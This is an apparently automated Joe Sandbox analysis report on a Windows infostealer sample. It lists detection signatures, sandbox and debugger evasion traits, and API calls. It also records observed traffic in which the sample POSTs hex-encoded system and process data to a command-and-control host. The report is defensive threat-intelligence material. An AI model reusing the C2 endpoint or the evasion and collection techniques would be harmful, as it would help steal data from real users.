Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
e62iSl0abZ.exe

Overview

General Information

Sample name:e62iSl0abZ.exe
renamed because original name is a hash value
Original sample name:9a9a0a2d9375d6f207af97df95e0762f.exe
Analysis ID:1581608
MD5:9a9a0a2d9375d6f207af97df95e0762f
SHA1:0c7a9c093c2e1c68c77582e5f7acab8fc10505f3
SHA256:77953741b91b2deef3dc7e168cf072cda89e92a60ca0ee82c37a4bbb4d4d0abf
Tags:exeuser-abuse_ch
Infos:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Detected unpacking (changes PE section rights)
Multi AV Scanner detection for submitted file
AI detected suspicious sample
Hides threads from debuggers
Infostealer behavior detected
Leaks process information
Machine Learning detection for sample
PE file contains section with special chars
Potentially malicious time measurement code found
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
AV process strings found (often used to terminate AV products)
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Detected potential crypto function
Entry point lies outside standard sections
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • e62iSl0abZ.exe (PID: 6172 cmdline: "C:\Users\user\Desktop\e62iSl0abZ.exe" MD5: 9A9A0A2D9375D6F207AF97DF95E0762F)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Antivirus / Scanner detection for submitted sample
Source: e62iSl0abZ.exeAvira: detected
Multi AV Scanner detection for submitted file
Source: e62iSl0abZ.exeVirustotal: Detection: 36%Perma Link
Source: e62iSl0abZ.exeReversingLabs: Detection: 65%
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: e62iSl0abZ.exeJoe Sandbox ML: detected
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: -----BEGIN PUBLIC KEY-----0_2_0063DCF0
Source: e62iSl0abZ.exeBinary or memory string: -----BEGIN PUBLIC KEY-----
Source: e62iSl0abZ.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_0061255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,SHGetKnownFolderPath,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_0061255D
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_006129FF FindFirstFileA,RegOpenKeyExA,CharUpperA,CreateToolhelp32Snapshot,QueryFullProcessImageNameA,CloseHandle,CreateToolhelp32Snapshot,CloseHandle,0_2_006129FF
Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global trafficHTTP traffic detected: POST /OyKvQKriwnyyWjwCxSXF1735186862 HTTP/1.1Host: home.fiveth5ht.topAccept: */*Content-Type: application/jsonContent-Length: 443985Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 35 33 32 39 31 35 34 35 38 33 31 37 32 30 34 34 32 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 2
Source: global trafficHTTP traffic detected: POST /OyKvQKriwnyyWjwCxSXF1735186862 HTTP/1.1Host: home.fiveth5ht.topAccept: */*Content-Type: application/jsonContent-Length: 143Data Raw: 7b 20 22 69 64 31 22 3a 20 22 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 5c 2f 68 31 3e 5c 6e 4e 6f 20 73 65 72 76 65 72 20 69 73 20 61 76 61 69 6c 61 62 6c 65 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 69 73 20 72 65 71 75 65 73 74 2e 5c 6e 3c 5c 2f 62 6f 64 79 3e 3c 5c 2f 68 74 6d 6c 3e 5c 6e 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 31 22 20 7d Data Ascii: { "id1": "<html><body><h1>503 Service Unavailable<\/h1>\nNo server is available to handle this request.\n<\/body><\/html>\n", "data": "Done1" }
Source: Joe Sandbox ViewIP Address: 81.29.149.125 81.29.149.125
Source: Joe Sandbox ViewIP Address: 3.218.7.103 3.218.7.103
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_00617770 recv,0_2_00617770
Source: global trafficHTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global trafficDNS traffic detected: DNS query: httpbin.org
Source: global trafficDNS traffic detected: DNS query: home.fiveth5ht.top
Source: unknownHTTP traffic detected: POST /OyKvQKriwnyyWjwCxSXF1735186862 HTTP/1.1Host: home.fiveth5ht.topAccept: */*Content-Type: application/jsonContent-Length: 443985Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 38 35 33 32 39 31 35 34 35 38 33 31 37 32 30 34 34 32 35 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 2
Source: e62iSl0abZ.exe, 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://.css
Source: e62iSl0abZ.exe, 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://.jpg
Source: e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF17
Source: e62iSl0abZ.exe, 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, e62iSl0abZ.exe, 00000000.00000002.1796564351.0000000001B2E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862
Source: e62iSl0abZ.exe, 00000000.00000002.1796564351.0000000001B2E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF173518686235a1
Source: e62iSl0abZ.exe, 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmpString found in binary or memory: http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxSXF1735186862http://home.fiveth5ht.top/OyKvQKriwnyyWjwCxS
Source: e62iSl0abZ.exe, 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://html4/loose.dtd
Source: e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://curl.se/docs/alt-svc.html
Source: e62iSl0abZ.exeString found in binary or memory: https://curl.se/docs/alt-svc.html#
Source: e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://curl.se/docs/hsts.html
Source: e62iSl0abZ.exeString found in binary or memory: https://curl.se/docs/hsts.html#
Source: e62iSl0abZ.exe, e62iSl0abZ.exe, 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://curl.se/docs/http-cookies.html
Source: e62iSl0abZ.exeString found in binary or memory: https://curl.se/docs/http-cookies.html#
Source: e62iSl0abZ.exe, 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://httpbin.org/ip
Source: e62iSl0abZ.exe, 00000000.00000002.1795185194.0000000000B81000.00000040.00000001.01000000.00000003.sdmp, e62iSl0abZ.exe, 00000000.00000003.1695678293.00000000075C0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://httpbin.org/ipbefore
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49731
Source: unknownNetwork traffic detected: HTTP traffic on port 49731 -> 443

System Summary

barindex
PE file contains section with special chars
Source: e62iSl0abZ.exeStatic PE information: section name:
Source: e62iSl0abZ.exeStatic PE information: section name: .idata
Source: e62iSl0abZ.exeStatic PE information: section name:
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_3_01BC6C7B0_3_01BC6C7B
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_006DB1800_2_006DB180
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_006205B00_2_006205B0
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_00626FA00_2_00626FA0
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_006210E60_2_006210E6
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_006E00E00_2_006E00E0
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_0099A0000_2_0099A000
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_0099E0500_2_0099E050
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_006762100_2_00676210
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_006DC3200_2_006DC320
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_006E04200_2_006E0420
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_009644100_2_00964410
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_0097D4300_2_0097D430
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_009835B00_2_009835B0
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_0061E6200_2_0061E620
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_009656D00_2_009656D0
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_009947800_2_00994780
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_006DC7700_2_006DC770
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_009A17A00_2_009A17A0
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_009767300_2_00976730
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_006C98800_2_006C9880
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_0061A9600_2_0061A960
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_006249400_2_00624940
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_006CC9000_2_006CC900
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_009699200_2_00969920
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_007E6AC00_2_007E6AC0
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_00993A700_2_00993A70
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_00981BD00_2_00981BD0
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_00988BF00_2_00988BF0
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_00651BE00_2_00651BE0
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_0061CBB00_2_0061CBB0
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_0099CC900_2_0099CC90
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_00977CC00_2_00977CC0
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_0098CD800_2_0098CD80
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_00625DB00_2_00625DB0
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_00994D400_2_00994D40
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_007D0D800_2_007D0D80
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_0092AE300_2_0092AE30
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_00623ED00_2_00623ED0
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_00635EB00_2_00635EB0
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_00962F900_2_00962F90
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_00634F700_2_00634F70
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_006DEF900_2_006DEF90
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_006D8F900_2_006D8F90
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: String function: 006F44A0 appears 72 times
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: String function: 0062CD40 appears 40 times
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: String function: 00654FD0 appears 182 times
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: String function: 00654F40 appears 174 times
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: String function: 007C7220 appears 88 times
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: String function: 0061CAA0 appears 40 times
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: String function: 006171E0 appears 42 times
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: String function: 006173F0 appears 86 times
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: String function: 006550A0 appears 31 times
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: String function: 0062CCD0 appears 39 times
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: String function: 007ECBC0 appears 95 times
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: String function: 006175A0 appears 530 times
Source: e62iSl0abZ.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: e62iSl0abZ.exeStatic PE information: Section: lydmihkm ZLIB complexity 0.9945310272312518
Source: e62iSl0abZ.exeStatic PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@1/0@6/2
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_0061255D GetSystemInfo,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,KiUserCallbackDispatcher,SHGetKnownFolderPath,FindFirstFileW,FindNextFileW,K32EnumProcesses,0_2_0061255D
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_006131D7 CreateToolhelp32Snapshot,CloseHandle,0_2_006131D7
Source: C:\Users\user\Desktop\e62iSl0abZ.exeMutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Users\user\Desktop\e62iSl0abZ.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: e62iSl0abZ.exeVirustotal: Detection: 36%
Source: e62iSl0abZ.exeReversingLabs: Detection: 65%
Source: e62iSl0abZ.exeString found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: e62iSl0abZ.exeString found in binary or memory: Unable to complete request for channel-process-startup
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: winmm.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: dhcpcsvc6.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: windowscodecs.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: napinsp.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: pnrpnsp.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: wshbth.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: winrnr.dllJump to behavior
Source: C:\Users\user\Desktop\e62iSl0abZ.exeSection loaded: kernel.appcore.dllJump to behavior
Source: e62iSl0abZ.exeStatic file information: File size 4467712 > 1048576
Source: e62iSl0abZ.exeStatic PE information: Raw size of is bigger than: 0x100000 < 0x288a00
Source: e62iSl0abZ.exeStatic PE information: Raw size of lydmihkm is bigger than: 0x100000 < 0x1b6600

Data Obfuscation

barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\e62iSl0abZ.exeUnpacked PE file: 0.2.e62iSl0abZ.exe.610000.0.unpack :EW;.rsrc:W;.idata :W; :EW;lydmihkm:EW;ojutvaqx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;lydmihkm:EW;ojutvaqx:EW;.taggant:EW;
Source: initial sampleStatic PE information: section where entry point is pointing to: .taggant
Source: e62iSl0abZ.exeStatic PE information: real checksum: 0x447602 should be: 0x44b68a
Source: e62iSl0abZ.exeStatic PE information: section name:
Source: e62iSl0abZ.exeStatic PE information: section name: .idata
Source: e62iSl0abZ.exeStatic PE information: section name:
Source: e62iSl0abZ.exeStatic PE information: section name: lydmihkm
Source: e62iSl0abZ.exeStatic PE information: section name: ojutvaqx
Source: e62iSl0abZ.exeStatic PE information: section name: .taggant
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_3_01BCCF58 pushad ; iretd 0_3_01BCCF59
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_009941D0 push eax; mov dword ptr [esp], edx0_2_009941D5
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_00671430 push eax; mov dword ptr [esp], 00000000h0_2_00671433
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_006CC7F0 push eax; mov dword ptr [esp], 00000000h0_2_006CC743
Source: C:\Users\user\Desktop\e62iSl0abZ.exeCode function: 0_2_006939A0 push eax; mov dword ptr [esp], 00000000h0_2_006939A3
